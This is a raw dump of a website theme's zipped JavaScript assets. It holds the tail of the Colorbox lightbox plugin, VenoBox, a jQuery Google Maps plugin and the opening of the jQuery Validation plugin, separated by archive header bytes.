/>");l.show();Q.show().html(a.title);if(g.length>1){P.html(a.current.replace(/\{current\}/,j+1).replace(/\{total\}/,g.length)).show();E.html(a.next).show();D.html(a.previous).show();a.slideshow&&t.show()}J.hide();K.hide();c.event.trigger(S);a.onComplete&&a.onComplete.call(i);a.transition==="fade"&&k.fadeTo(L,1,function(){x&&k[0].style.removeAttribute("filter")}); m.bind(T,function(){e.position(0)})}})}if(B){var o,A,L=a.transition==="none"?0:a.speed;m.unbind(T);if(b){l.remove();l=c('<div id="cboxLoadedContent"/>').html(b);l.hide().appendTo(I).css({width:d(),overflow:a.scrolling?"auto":"hidden"}).css({height:h()}).prependTo(p);c("#cboxPhoto").css({cssFloat:"none"});O&&c("select:not(#colorbox select)").filter(function(){return this.style.visibility!=="hidden"}).css({visibility:"hidden"}).one("cbox_cleanup",function(){this.style.visibility="inherit"});a.transition=== "fade"&&k.fadeTo(L,0,function(){f(0)})||f(L);if(a.preloading&&g.length>1){b=j>0?g[j-1]:g[g.length-1];o=j<g.length-1?g[j+1]:g[0];o=c(o).data(q).href||o.href;b=c(b).data(q).href||b.href;M(o)&&c("<img />").attr("src",o);M(b)&&c("<img />").attr("src",b)}}else setTimeout(function(){var G=l.wrapInner("<div style='overflow:auto'></div>").children();a.h=G.height();l.css({height:a.h});G.replaceWith(G.children());e.position(L)},1)}};e.load=function(){var b,d,h,f=e.resize;C=n;i=g[j];a=c(i).data(q);Y();c.event.trigger(H); a.onLoad&&a.onLoad.call(i);a.h=a.height?r(a.height,"y")-v-y:a.innerHeight?r(a.innerHeight,"y"):false;a.w=a.width?r(a.width,"x")-w-z:a.innerWidth?r(a.innerWidth,"x"):false;a.mw=a.w;a.mh=a.h;if(a.maxWidth){a.mw=r(a.maxWidth,"x")-w-z;a.mw=a.w&&a.w<a.mw?a.w:a.mw}if(a.maxHeight){a.mh=r(a.maxHeight,"y")-v-y;a.mh=a.h&&a.h<a.mh?a.h:a.mh}b=a.href;J.show();K.show();if(a.inline){c('<div id="cboxInlineTemp" />').hide().insertBefore(c(b)[0]).bind(H+" cbox_cleanup",function(){c(this).replaceWith(l.children())}); f(c(b))}else if(a.iframe)f(" ");else if(a.html)f(a.html);else if(M(b)){d=new Image;d.onload=function(){var o;d.onload=null;d.id="cboxPhoto";c(d).css({margin:"auto",border:"none",display:"block",cssFloat:"left"});if(a.scalePhotos){h=function(){d.height-=d.height*o;d.width-=d.width*o};if(a.mw&&d.width>a.mw){o=(d.width-a.mw)/d.width;h()}if(a.mh&&d.height>a.mh){o=(d.height-a.mh)/d.height;h()}}if(a.h)d.style.marginTop=Math.max(a.h-d.height,0)/2+"px";f(d);g.length>1&&c(d).css({cursor:"pointer"}).click(e.next); if(x)d.style.msInterpolationMode="bicubic"};d.src=b}else c("<div />").appendTo(I).load(b,function(o,A){A==="success"?f(this):f(c("<p>Request unsuccessful.</p>"))})};e.next=function(){if(!C){j=j<g.length-1?j+1:0;e.load()}};e.prev=function(){if(!C){j=j>0?j-1:g.length-1;e.load()}};e.slideshow=function(){function b(){t.text(a.slideshowStop).bind(S,function(){h=setTimeout(e.next,a.slideshowSpeed)}).bind(H,function(){clearTimeout(h)}).one("click",function(){d();c(this).removeClass(F)});k.removeClass(f+ "off").addClass(f+"on")}var d,h,f="cboxSlideshow_";t.bind("cbox_closed",function(){t.unbind();clearTimeout(h);k.removeClass(f+"off "+f+"on")});d=function(){clearTimeout(h);t.text(a.slideshowStart).unbind(S+" "+H).one("click",function(){b();h=setTimeout(e.next,a.slideshowSpeed);c(this).removeClass(F)});k.removeClass(f+"on").addClass(f+"off")};if(a.slideshow&&g.length>1)a.slideshowAuto?b():d()};e.close=function(){c.event.trigger("cbox_cleanup");a.onCleanup&&a.onCleanup.call(i);B=false;c(document).unbind("keydown.cbox_close keydown.cbox_arrows"); m.unbind(T+" resize.cboxie6 scroll.cboxie6");s.css({cursor:"auto"}).fadeOut("fast");k.stop(n,false).fadeOut("fast",function(){c("#colorbox iframe").attr("src","about:blank");l.remove();k.css({opacity:1});try{N.focus()}catch(b){}c.event.trigger("cbox_closed");a.onClosed&&a.onClosed.call(i)})};e.element=function(){return c(i)};e.settings=$;c(e.init)})(jQuery);PK!!���@@"bluetheme/assets/js/venobox.min.jsnu&1i�/* 
 * VenoBox - jQuery Plugin
 * version: 1.3.2
 * @requires jQuery
 *
 * Examples at http://lab.veno.it/venobox/
 * License: Creative Commons Attribution 3.0 License
 * License URI: http://creativecommons.org/licenses/by/3.0/
 * Copyright 2013-2014 Nicola Franchini - @nicolafranchini
 *
 */
(function(e){function P(){e.ajax({url:u,cache:false}).done(function(e){s.html('<div class="vbox-inline">'+e+"</div>");q(true)}).fail(function(){s.html('<div class="vbox-inline"><p>Error retrieving contents, please retry</div>');q(true)})}function H(){s.html('<iframe class="venoframe" src="'+u+'"></iframe>');q()}function B(){var e=u.split("/");var t=e[e.length-1];s.html('<iframe class="venoframe" src="http://player.vimeo.com/video/'+t+'"></iframe>');q()}function j(){var e=u.split("/");var t=e[e.length-1];s.html('<iframe class="venoframe" src="http://www.youtube.com/embed/'+t+'"></iframe>');q()}function F(){s.html('<div class="vbox-inline">'+e(u).html()+"</div>");q()}function I(){h=e(".vbox-content").find("img");h.one("load",function(){q()}).each(function(){if(this.complete)e(this).load()})}function q(t){t=t||false;if(t!=true){e(window).scrollTop(0)}C.html(S);s.find(">:first-child").addClass("figlio");e(".figlio").css("width",p).css("height",d).css("padding",v).css("background",m);f=s.outerHeight();l=e(window).height();if(f+80<l){c=(l-f)/2;s.css("margin-top",c);s.css("margin-bottom",c)}else{s.css("margin-top","40px");s.css("margin-bottom","40px")}s.animate({opacity:"1"},"slow")}function R(){if(e(".vbox-content").length){f=s.height();l=e(window).height();if(f+80<l){c=(l-f)/2;s.css("margin-top",c);s.css("margin-bottom",c)}else{s.css("margin-top","40px");s.css("margin-bottom","40px")}}}var t,n,r,i,s,o,u,a,f,l,c,h,p,d,v,m,g,y,b,w,E,S,x,T,N,C,k,L,A,O,M,_,D;e.fn.extend({venobox:function(f){var l={framewidth:"",frameheight:"",border:"0",bgcolor:"#fff",numeratio:false,infinigall:false};var f=e.extend(l,f);return this.each(function(){var l=e(this);l.addClass("vbox-item");l.data("framewidth",f.framewidth);l.data("frameheight",f.frameheight);l.data("border",f.border);l.data("bgcolor",f.bgcolor);l.data("numeratio",f.numeratio);l.data("infinigall",f.infinigall);l.click(function(f){function c(){y=l.data("gall");L=l.data("numeratio");D=l.data("infinigall");b=e('.vbox-item[data-gall="'+y+'"]');if(b.length>0&&L===true){k.html(b.index(l)+1+" / "+b.length);k.fadeIn()}else{k.fadeOut()}w=b.eq(b.index(l)+1);E=b.eq(b.index(l)-1);if(l.attr("title")){S=l.attr("title");C.fadeIn()}else{S="";C.fadeOut()}if(D===true){x=true;T=true;if(w.length<1){w=b.eq(0)}if(b.index(l)<1){E=b.eq(b.index(b.length))}}else{if(w.length>0){e(".vbox-next").css("display","block");x=true}else{e(".vbox-next").css("display","none");x=false}if(b.index(l)>0){e(".vbox-prev").css("display","block");T=true}else{e(".vbox-prev").css("display","none");T=false}}}f.stopPropagation();f.preventDefault();l=e(this);t=l.data("overlay");p=l.data("framewidth");d=l.data("frameheight");v=l.data("border");m=l.data("bgcolor");x=false;T=false;N=false;u=l.attr("href");a=e(window).scrollTop();a=-a;e("body").wrapInner('<div class="vwrap"></div>');r=e(".vwrap");o='<div class="vbox-overlay" style="background:'+t+'"><div class="vbox-preloader">Loading...</div><div class="vbox-container"><div class="vbox-content"></div></div><div class="vbox-title"></div><div class="vbox-num">0/0</div><div class="vbox-close">X</div><div class="vbox-next">next</div><div class="vbox-prev">prev</div></div>';e("body").append(o);n=e(".vbox-overlay");i=e(".vbox-container");s=e(".vbox-content");k=e(".vbox-num");C=e(".vbox-title");s.html("");s.css("opacity","0");c();n.css({opacity:"1","min-height":e(window).outerHeight()+130});if(navigator.userAgent.match(/(iPod|iPhone|iPad|Android)/)){r.css({position:"fixed",top:a,opacity:"0"}).data("top",a)}else{r.css({position:"fixed",top:a}).data("top",a);e(window).scrollTop(0)}n.bind("transitionend webkitTransitionEnd oTransitionEnd MSTransitionEnd",function(){n.css({"min-height":e(window).outerHeight(),height:"auto"});if(l.data("type")=="iframe"){H()}else if(l.data("type")=="inline"){F()}else if(l.data("type")=="ajax"){P()}else if(l.data("type")=="vimeo"){B()}else if(l.data("type")=="youtube"){j()}else{s.html('<img src="'+u+'">');I()}});e("body").keydown(function(r){if(N)return;if(r.keyCode==37&&T==true){N=true;t=E.data("overlay");p=E.data("framewidth");d=E.data("frameheight");v=E.data("border");m=E.data("bgcolor");u=E.attr("href");if(E.attr("title")){S=E.attr("title")}else{S=""}if(t===undefined){t=""}n.css("min-height",e(window).outerHeight()+130);s.animate({opacity:0},500,function(){n.css("min-height",e(window).outerHeight()).css("background",t);if(E.data("type")=="iframe"){H()}else if(E.data("type")=="inline"){F()}else if(E.data("type")=="ajax"){P()}else if(E.data("type")=="youtube"){j()}else if(E.data("type")=="vimeo"){B()}else{s.html('<img src="'+u+'">');I()}l=E;c();N=false})}if(r.keyCode==39&&x==true){N=true;t=w.data("overlay");p=w.data("framewidth");d=w.data("frameheight");v=w.data("border");m=w.data("bgcolor");u=w.attr("href");if(w.attr("title")){S=w.attr("title")}else{S=""}if(t===undefined){t=""}n.css("min-height",e(window).outerHeight()+130);s.animate({opacity:0},500,function(){n.css("min-height",e(window).outerHeight()).css("background",t);if(w.data("type")=="iframe"){H()}else if(w.data("type")=="inline"){F()}else if(w.data("type")=="ajax"){P()}else if(w.data("type")=="youtube"){j()}else if(w.data("type")=="vimeo"){B()}else{s.html('<img src="'+u+'">');I()}l=w;c();N=false})}});e(".vbox-next").click(function(){t=w.data("overlay");p=w.data("framewidth");d=w.data("frameheight");v=w.data("border");m=w.data("bgcolor");u=w.attr("href");if(w.attr("title")){S=w.attr("title")}else{S=""}if(t===undefined){t=""}n.css("min-height",e(window).outerHeight()+130);s.animate({opacity:0},500,function(){n.css("min-height",e(window).outerHeight()).css("background",t);if(w.data("type")=="iframe"){H()}else if(w.data("type")=="inline"){F()}else if(w.data("type")=="ajax"){P()}else if(w.data("type")=="youtube"){j()}else if(w.data("type")=="vimeo"){B()}else{s.html('<img src="'+u+'">');I()}l=w;c()})});e(".vbox-prev").click(function(){t=E.data("overlay");p=E.data("framewidth");d=E.data("frameheight");v=E.data("border");m=E.data("bgcolor");u=E.attr("href");if(E.attr("title")){S=E.attr("title")}else{S=""}if(t===undefined){t=""}n.css("min-height",e(window).outerHeight()+130);s.animate({opacity:0},500,function(){n.css("min-height",e(window).outerHeight()).css("background",t);if(E.data("type")=="iframe"){H()}else if(E.data("type")=="inline"){F()}else if(E.data("type")=="ajax"){P()}else if(E.data("type")=="youtube"){j()}else if(E.data("type")=="vimeo"){B()}else{s.html('<img src="'+u+'">');I()}l=E;c()})});e(".vbox-close, .vbox-overlay").click(function(t){M=".figlio";O=".vbox-prev";A=".vbox-next";_=".figlio *";if(!e(t.target).is(M)&&!e(t.target).is(A)&&!e(t.target).is(O)&&!e(t.target).is(_)){n.unbind("transitionend webkitTransitionEnd oTransitionEnd MSTransitionEnd");n.bind("transitionend webkitTransitionEnd oTransitionEnd MSTransitionEnd",function(){n.remove();if(navigator.userAgent.match(/(iPod|iPhone|iPad|Android)/)){e(".vwrap").css("opacity","1");e(".vwrap").bind("transitionend webkitTransitionEnd oTransitionEnd MSTransitionEnd",function(){e(".vwrap").children().unwrap();e(window).scrollTop(-a)})}else{e(".vwrap").children().unwrap();e(window).scrollTop(-a)}N=false});n.css("opacity","0")}});return false})})}});e(window).resize(function(){R()})})(jQuery)PK!p|��(bluetheme/assets/js/jquery.ui.map.min.jsnu&1i�(function($){$.a=function(name,prototype){var namespace=name.split('.')[0];name=name.split('.')[1];$[namespace]=$[namespace]||{};$[namespace][name]=function(options,element){if(arguments.length){this._setup(options,element)}};$[namespace][name].prototype=$.extend({'namespace':namespace,'pluginName':name},prototype);$.fn[name]=function(options){var isMethodCall=typeof options==="string",args=Array.prototype.slice.call(arguments,1),returnValue=this;if(isMethodCall&&options.substring(0,1)==='_'){return returnValue}this.each(function(){var instance=$.data(this,name);if(!instance){instance=$.data(this,name,new $[namespace][name](options,this))}if(isMethodCall){returnValue=instance[options].apply(instance,args)}});return returnValue}};$.a('ui.gmap',{options:{mapTypeId:'roadmap',zoom:5},option:function(key,options){if(options){this.options[key]=options;this.get('map').set(key,options);return this}return this.options[key]},_setup:function(options,element){this.el=element;options=options||{};jQuery.extend(this.options,options,{'center':this._latLng(options.center)});this._create();if(this._init){this._init()}},_create:function(){var self=this;this.instance={'map':new google.maps.Map(self.el,self.options),'markers':[],'overlays':[],'services':[]};google.maps.event.addListenerOnce(self.instance.map,'bounds_changed',function(){$(self.el).trigger('init',self.instance.map)});self._call(self.options.callback,self.instance.map)},addBounds:function(position){var bounds=this.get('bounds',new google.maps.LatLngBounds());bounds.extend(this._latLng(position));this.get('map').fitBounds(bounds);return this},inViewport:function(marker){var bounds=this.get('map').getBounds();return(bounds)?bounds.contains(marker.getPosition()):false},addControl:function(panel,position){this.get('map').controls[position].push(this._unwrap(panel));return this},addMarker:function(markerOptions,callback){markerOptions.map=this.get('map');markerOptions.position=this._latLng(markerOptions.position);var marker=new(markerOptions.marker||google.maps.Marker)(markerOptions);var markers=this.get('markers');if(marker.id){markers[marker.id]=marker}else{markers.push(marker)}if(marker.bounds){this.addBounds(marker.getPosition())}this._call(callback,markerOptions.map,marker);return $(marker)},clear:function(ctx){this._c(this.get(ctx));this.set(ctx,[]);return this},_c:function(obj){for(var property in obj){if(obj.hasOwnProperty(property)){if(obj[property]instanceof google.maps.MVCObject){google.maps.event.clearInstanceListeners(obj[property]);if(obj[property].setMap){obj[property].setMap(null)}}else if(obj[property]instanceof Array){this._c(obj[property])}obj[property]=null}}},find:function(ctx,options,callback){var obj=this.get(ctx);options.value=$.isArray(options.value)?options.value:[options.value];for(var property in obj){if(obj.hasOwnProperty(property)){var isFound=false;for(var value in options.value){if($.inArray(options.value[value],obj[property][options.property])>-1){isFound=true}else{if(options.operator&&options.operator==='AND'){isFound=false;break}}}callback(obj[property],isFound)}}return this},get:function(key,value){var instance=this.instance;if(!instance[key]){if(key.indexOf('>')>-1){var e=key.replace(/ /g,'').split('>');for(var i=0;i<e.length;i++){if(!instance[e[i]]){if(value){instance[e[i]]=((i+1)<e.length)?[]:value}else{return null}}instance=instance[e[i]]}return instance}else if(value&&!instance[key]){this.set(key,value)}}return instance[key]},openInfoWindow:function(infoWindowOptions,marker,callback){var iw=this.get('iw',infoWindowOptions.infoWindow||new google.maps.InfoWindow);iw.setOptions(infoWindowOptions);iw.open(this.get('map'),this._unwrap(marker));this._call(callback,iw);return this},closeInfoWindow:function(){if(this.get('iw')!=null){this.get('iw').close()}return this},set:function(key,value){this.instance[key]=value;return this},refresh:function(){var map=this.get('map');var latLng=map.getCenter();$(map).triggerEvent('resize');map.setCenter(latLng);return this},destroy:function(){this.clear('markers').clear('services').clear('overlays')._c(this.instance);jQuery.removeData(this.el,this.name)},_call:function(callback){if(callback&&$.isFunction(callback)){callback.apply(this,Array.prototype.slice.call(arguments,1))}},_latLng:function(latLng){if(!latLng){return new google.maps.LatLng(0.0,0.0)}if(latLng instanceof google.maps.LatLng){return latLng}else{latLng=latLng.replace(/ /g,'').split(',');return new google.maps.LatLng(latLng[0],latLng[1])}},_unwrap:function(obj){return(!obj)?null:((obj instanceof jQuery)?obj[0]:((obj instanceof Object)?obj:$('#'+obj)[0]))}});jQuery.fn.extend({triggerEvent:function(eventType){google.maps.event.trigger(this[0],eventType);return this},addEventListener:function(eventType,eventDataOrCallback,eventCallback){if(google.maps&&this[0]instanceof google.maps.MVCObject){google.maps.event.addListener(this[0],eventType,eventDataOrCallback)}else{if(eventCallback){this.bind(eventType,eventDataOrCallback,eventCallback)}else{this.bind(eventType,eventDataOrCallback)}}return this}});jQuery.each(('click rightclick dblclick mouseover mouseout drag dragend').split(' '),function(i,name){jQuery.fn[name]=function(a,b){return this.addEventListener(name,a,b)}})}(jQuery));

(function($){$.extend($.ui.gmap.prototype,{getCurrentPosition:function(callback,geoPositionOptions){if(navigator.geolocation){navigator.geolocation.getCurrentPosition(function(result){callback(result,'OK')},function(error){callback(null,error)},geoPositionOptions)}else{callback(null,'NOT_SUPPORTED')}},watchPosition:function(callback,geoPositionOptions){if(navigator.geolocation){this.set('watch',navigator.geolocation.watchPosition(function(result){callback(result,"OK")},function(error){callback(null,error)},geoPositionOptions))}else{callback(null,"NOT_SUPPORTED")}},clearWatch:function(){if(navigator.geolocation){navigator.geolocation.clearWatch(this.get('watch'))}},autocomplete:function(panel,callback){var self=this;$(this._unwrap(panel)).autocomplete({source:function(request,response){self.search({'address':request.term},function(results,status){if(status==='OK'){response($.map(results,function(item){return{label:item.formatted_address,value:item.formatted_address,position:item.geometry.location}}))}else if(status==='OVER_QUERY_LIMIT'){alert('Google said it\'s too much!')}})},minLength:3,select:function(event,ui){self._call(callback,ui)},open:function(){$(this).removeClass("ui-corner-all").addClass("ui-corner-top")},close:function(){$(this).removeClass("ui-corner-top").addClass("ui-corner-all")}})},placesSearch:function(placeSearchRequest,callback){this.get('services > PlacesService',new google.maps.places.PlacesService(this.get('map'))).search(placeSearchRequest,callback)},clearDirections:function(){var directionsRenderer=this.get('services > DirectionsRenderer');if(directionsRenderer){directionsRenderer.setMap(null);directionsRenderer.setPanel(null)}},pagination:function(prop){var $el=$("<div id='pagination' class='pagination shadow gradient rounded clearfix'><div class='lt btn back-btn'></div><div class='lt display'></div><div class='rt btn fwd-btn'></div></div>");var self=this,i=0,prop=prop||'title';self.set('p_nav',function(a,b){if(a){i=i+b;$el.find('.display').text(self.get('markers')[i][prop]);self.get('map').panTo(self.get('markers')[i].getPosition())}});self.get('p_nav')(true,0);$el.find('.back-btn').click(function(){self.get('p_nav')((i>0),-1,this)});$el.find('.fwd-btn').click(function(){self.get('p_nav')((i<self.get('markers').length-1),1,this)});self.addControl($el,google.maps.ControlPosition.TOP_LEFT)}})}(jQuery));

PK!1~��'�'�&bluetheme/assets/js/jquery.validate.jsnu&1i�/*!
 * jQuery Validation Plugin 1.11.1
 *
 * http://bassistance.de/jquery-plugins/jquery-plugin-validation/
 * http://docs.jquery.com/Plugins/Validation
 *
 * Copyright 2013 Jörn Zaefferer
 * Released under the MIT license:
 *   http://www.opensource.org/licenses/mit-license.php
 */

(function($) {

$.extend($.fn, {
	// http://docs.jquery.com/Plugins/Validation/validate
	validate: function( options ) {

		// if nothing is selected, return nothing; can't chain anyway
		if ( !this.length ) {
			if ( options && options.debug && window.console ) {
				console.warn( "Nothing selected, can't validate, returning nothing." );
			}
			return;
		}

		// check if a validator for this form was already created
		var validator = $.data( this[0], "validator" );
		if ( validator ) {
			return validator;
		}

		// Add novalidate tag if HTML5.
		this.attr( "novalidate", "novalidate" );

		validator = new $.validator( options, this[0] );
		$.data( this[0], "validator", validator );

		if ( validator.settings.onsubmit ) {

			this.validateDelegate( ":submit", "click", function( event ) {
				if ( validator.settings.submitHandler ) {
					validator.submitButton = event.target;
				}
				// allow suppressing validation by adding a cancel class to the submit button
				if ( $(event.target).hasClass("cancel") ) {
					validator.cancelSubmit = true;
				}

				// allow suppressing validation by adding the html5 formnovalidate attribute to the submit button
				if ( $(event.target).attr("formnovalidate") !== undefined ) {
					validator.cancelSubmit = true;
				}
			});

			// validate the form on submit
			this.submit( function( event ) {
				if ( validator.settings.debug ) {
					// prevent form submit to be able to see console output
					event.preventDefault();
				}
				function handle() {
					var hidden;
					if ( validator.settings.submitHandler ) {
						if ( validator.submitButton ) {
							// insert a hidden input as a replacement for the missing submit button
							hidden = $("<input type='hidden'/>").attr("name", validator.submitButton.name).val( $(validator.submitButton).val() ).appendTo(validator.currentForm);
						}
						validator.settings.submitHandler.call( validator, validator.currentForm, event );
						if ( validator.submitButton ) {
							// and clean up afterwards; thanks to no-block-scope, hidden can be referenced
							hidden.remove();
						}
						return false;
					}
					return true;
				}

				// prevent submit for invalid forms or custom submit handlers
				if ( validator.cancelSubmit ) {
					validator.cancelSubmit = false;
					return handle();
				}
				if ( validator.form() ) {
					if ( validator.pendingRequest ) {
						validator.formSubmitted = true;
						return false;
					}
					return handle();
				} else {
					validator.focusInvalid();
					return false;
				}
			});
		}

		return validator;
	},
	// http://docs.jquery.com/Plugins/Validation/valid
	valid: function() {
		if ( $(this[0]).is("form")) {
			return this.validate().form();
		} else {
			var valid = true;
			var validator = $(this[0].form).validate();
			this.each(function() {
				valid = valid && validator.element(this);
			});
			return valid;
		}
	},
	// attributes: space seperated list of attributes to retrieve and remove
	removeAttrs: function( attributes ) {
		var result = {},
			$element = this;
		$.each(attributes.split(/\s/), function( index, value ) {
			result[value] = $element.attr(value);
			$element.removeAttr(value);
		});
		return result;
	},
	// http://docs.jquery.com/Plugins/Validation/rules
	rules: function( command, argument ) {
		var element = this[0];

		if ( command ) {
			var settings = $.data(element.form, "validator").settings;
			var staticRules = settings.rules;
			var existingRules = $.validator.staticRules(element);
			switch(command) {
			case "add":
				$.extend(existingRules, $.validator.normalizeRule(argument));
				// remove messages from rules, but allow them to be set separetely
				delete existingRules.messages;
				staticRules[element.name] = existingRules;
				if ( argument.messages ) {
					settings.messages[element.name] = $.extend( settings.messages[element.name], argument.messages );
				}
				break;
			case "remove":
				if ( !argument ) {
					delete staticRules[element.name];
					return existingRules;
				}
				var filtered = {};
				$.each(argument.split(/\s/), function( index, method ) {
					filtered[method] = existingRules[method];
					delete existingRules[method];
				});
				return filtered;
			}
		}

		var data = $.validator.normalizeRules(
		$.extend(
			{},
			$.validator.classRules(element),
			$.validator.attributeRules(element),
			$.validator.dataRules(element),
			$.validator.staticRules(element)
		), element);

		// make sure required is at front
		if ( data.required ) {
			var param = data.required;
			delete data.required;
			data = $.extend({required: param}, data);
		}

		return data;
	}
});

// Custom selectors
$.extend($.expr[":"], {
	// http://docs.jquery.com/Plugins/Validation/blank
	blank: function( a ) { return !$.trim("" + $(a).val()); },
	// http://docs.jquery.com/Plugins/Validation/filled
	filled: function( a ) { return !!$.trim("" + $(a).val()); },
	// http://docs.jquery.com/Plugins/Validation/unchecked
	unchecked: function( a ) { return !$(a).prop("checked"); }
});

// constructor for validator
$.validator = function( options, form ) {
	this.settings = $.extend( true, {}, $.validator.defaults, options );
	this.currentForm = form;
	this.init();
};

$.validator.format = function( source, params ) {
	if ( arguments.length === 1 ) {
		return function() {
			var args = $.makeArray(arguments);
			args.unshift(source);
			return $.validator.format.apply( this, args );
		};
	}
	if ( arguments.length > 2 && params.constructor !== Array  ) {
		params = $.makeArray(arguments).slice(1);
	}
	if ( params.constructor !== Array ) {
		params = [ params ];
	}
	$.each(params, function( i, n ) {
		source = source.replace( new RegExp("\\{" + i + "\\}", "g"), function() {
			return n;
		});
	});
	return source;
};

$.extend($.validator, {

	defaults: {
		messages: {},
		groups: {},
		rules: {},
		errorClass: "error",
		validClass: "valid",
		errorElement: "label",
		focusInvalid: true,
		errorContainer: $([]),
		errorLabelContainer: $([]),
		onsubmit: true,
		ignore: ":hidden",
		ignoreTitle: false,
		onfocusin: function( element, event ) {
			this.lastActive = element;

			// hide error label and remove error class on focus if enabled
			if ( this.settings.focusCleanup && !this.blockFocusCleanup ) {
				if ( this.settings.unhighlight ) {
					this.settings.unhighlight.call( this, element, this.settings.errorClass, this.settings.validClass );
				}
				this.addWrapper(this.errorsFor(element)).hide();
			}
		},
		onfocusout: function( element, event ) {
			if ( !this.checkable(element) && (element.name in this.submitted || !this.optional(element)) ) {
				this.element(element);
			}
		},
		onkeyup: function( element, event ) {
			if ( event.which === 9 && this.elementValue(element) === "" ) {
				return;
			} else if ( element.name in this.submitted || element === this.lastElement ) {
				this.element(element);
			}
		},
		onclick: function( element, event ) {
			// click on selects, radiobuttons and checkboxes
			if ( element.name in this.submitted ) {
				this.element(element);
			}
			// or option elements, check parent select in that case
			else if ( element.parentNode.name in this.submitted ) {
				this.element(element.parentNode);
			}
		},
		highlight: function( element, errorClass, validClass ) {
			if ( element.type === "radio" ) {
				this.findByName(element.name).addClass(errorClass).removeClass(validClass);
			} else {
				$(element).addClass(errorClass).removeClass(validClass);
			}
		},
		unhighlight: function( element, errorClass, validClass ) {
			if ( element.type === "radio" ) {
				this.findByName(element.name).removeClass(errorClass).addClass(validClass);
			} else {
				$(element).removeClass(errorClass).addClass(validClass);
			}
		}
	},

	// http://docs.jquery.com/Plugins/Validation/Validator/setDefaults
	setDefaults: function( settings ) {
		$.extend( $.validator.defaults, settings );
	},

	messages: {
		required: "This field is required.",
		remote: "Please fix this field.",
		email: "Please enter a valid email address.",
		url: "Please enter a valid URL.",
		date: "Please enter a valid date.",
		dateISO: "Please enter a valid date (ISO).",
		number: "Please enter a valid number.",
		digits: "Please enter only digits.",
		creditcard: "Please enter a valid credit card number.",
		equalTo: "Please enter the same value again.",
		maxlength: $.validator.format("Please enter no more than {0} characters."),
		minlength: $.validator.format("Please enter at least {0} characters."),
		rangelength: $.validator.format("Please enter a value between {0} and {1} characters long."),
		range: $.validator.format("Please enter a value between {0} and {1}."),
		max: $.validator.format("Please enter a value less than or equal to {0}."),
		min: $.validator.format("Please enter a value greater than or equal to {0}.")
	},

	autoCreateRanges: false,

	prototype: {

		init: function() {
			this.labelContainer = $(this.settings.errorLabelContainer);
			this.errorContext = this.labelContainer.length && this.labelContainer || $(this.currentForm);
			this.containers = $(this.settings.errorContainer).add( this.settings.errorLabelContainer );
			this.submitted = {};
			this.valueCache = {};
			this.pendingRequest = 0;
			this.pending = {};
			this.invalid = {};
			this.reset();

			var groups = (this.groups = {});
			$.each(this.settings.groups, function( key, value ) {
				if ( typeof value === "string" ) {
					value = value.split(/\s/);
				}
				$.each(value, function( index, name ) {
					groups[name] = key;
				});
			});
			var rules = this.settings.rules;
			$.each(rules, function( key, value ) {
				rules[key] = $.validator.normalizeRule(value);
			});

			function delegate(event) {
				var validator = $.data(this[0].form, "validator"),
					eventType = "on" + event.type.replace(/^validate/, "");
				if ( validator.settings[eventType] ) {
					validator.settings[eventType].call(validator, this[0], event);
				}
			}
			$(this.currentForm)
				.validateDelegate(":text, [type='password'], [type='file'], select, textarea, " +
					"[type='number'], [type='search'] ,[type='tel'], [type='url'], " +
					"[type='email'], [type='datetime'], [type='date'], [type='month'], " +
					"[type='week'], [type='time'], [type='datetime-local'], " +
					"[type='range'], [type='color'] ",
					"focusin focusout keyup", delegate)
				.validateDelegate("[type='radio'], [type='checkbox'], select, option", "click", delegate);

			if ( this.settings.invalidHandler ) {
				$(this.currentForm).bind("invalid-form.validate", this.settings.invalidHandler);
			}
		},

		// http://docs.jquery.com/Plugins/Validation/Validator/form
		form: function() {
			this.checkForm();
			$.extend(this.submitted, this.errorMap);
			this.invalid = $.extend({}, this.errorMap);
			if ( !this.valid() ) {
				$(this.currentForm).triggerHandler("invalid-form", [this]);
			}
			this.showErrors();
			return this.valid();
		},

		checkForm: function() {
			this.prepareForm();
			for ( var i = 0, elements = (this.currentElements = this.elements()); elements[i]; i++ ) {
				this.check( elements[i] );
			}
			return this.valid();
		},

		// http://docs.jquery.com/Plugins/Validation/Validator/element
		element: function( element ) {
			element = this.validationTargetFor( this.clean( element ) );
			this.lastElement = element;
			this.prepareElement( element );
			this.currentElements = $(element);
			var result = this.check( element ) !== false;
			if ( result ) {
				delete this.invalid[element.name];
			} else {
				this.invalid[element.name] = true;
			}
			if ( !this.numberOfInvalids() ) {
				// Hide error containers on last error
				this.toHide = this.toHide.add( this.containers );
			}
			this.showErrors();
			return result;
		},

		// http://docs.jquery.com/Plugins/Validation/Validator/showErrors
		showErrors: function( errors ) {
			if ( errors ) {
				// add items to error list and map
				$.extend( this.errorMap, errors );
				this.errorList = [];
				for ( var name in errors ) {
					this.errorList.push({
						message: errors[name],
						element: this.findByName(name)[0]
					});
				}
				// remove items from success list
				this.successList = $.grep( this.successList, function( element ) {
					return !(element.name in errors);
				});
			}
			if ( this.settings.showErrors ) {
				this.settings.showErrors.call( this, this.errorMap, this.errorList );
			} else {
				this.defaultShowErrors();
			}
		},

		// http://docs.jquery.com/Plugins/Validation/Validator/resetForm
		resetForm: function() {
			if ( $.fn.resetForm ) {
				$(this.currentForm).resetForm();
			}
			this.submitted = {};
			this.lastElement = null;
			this.prepareForm();
			this.hideErrors();
			this.elements().removeClass( this.settings.errorClass ).removeData( "previousValue" );
		},

		numberOfInvalids: function() {
			return this.objectLength(this.invalid);
		},

		objectLength: function( obj ) {
			var count = 0;
			for ( var i in obj ) {
				count++;
			}
			return count;
		},

		hideErrors: function() {
			this.addWrapper( this.toHide ).hide();
		},

		valid: function() {
			return this.size() === 0;
		},

		size: function() {
			return this.errorList.length;
		},

		focusInvalid: function() {
			if ( this.settings.focusInvalid ) {
				try {
					$(this.findLastActive() || this.errorList.length && this.errorList[0].element || [])
					.filter(":visible")
					.focus()
					// manually trigger focusin event; without it, focusin handler isn't called, findLastActive won't have anything to find
					.trigger("focusin");
				} catch(e) {
					// ignore IE throwing errors when focusing hidden elements
				}
			}
		},

		findLastActive: function() {
			var lastActive = this.lastActive;
			return lastActive && $.grep(this.errorList, function( n ) {
				return n.element.name === lastActive.name;
			}).length === 1 && lastActive;
		},

		elements: function() {
			var validator = this,
				rulesCache = {};

			// select all valid inputs inside the form (no submit or reset buttons)
			return $(this.currentForm)
			.find("input, select, textarea")
			.not(":submit, :reset, :image, [disabled]")
			.not( this.settings.ignore )
			.filter(function() {
				if ( !this.name && validator.settings.debug && window.console ) {
					console.error( "%o has no name assigned", this);
				}

				// select only the first element for each name, and only those with rules specified
				if ( this.name in rulesCache || !validator.objectLength($(this).rules()) ) {
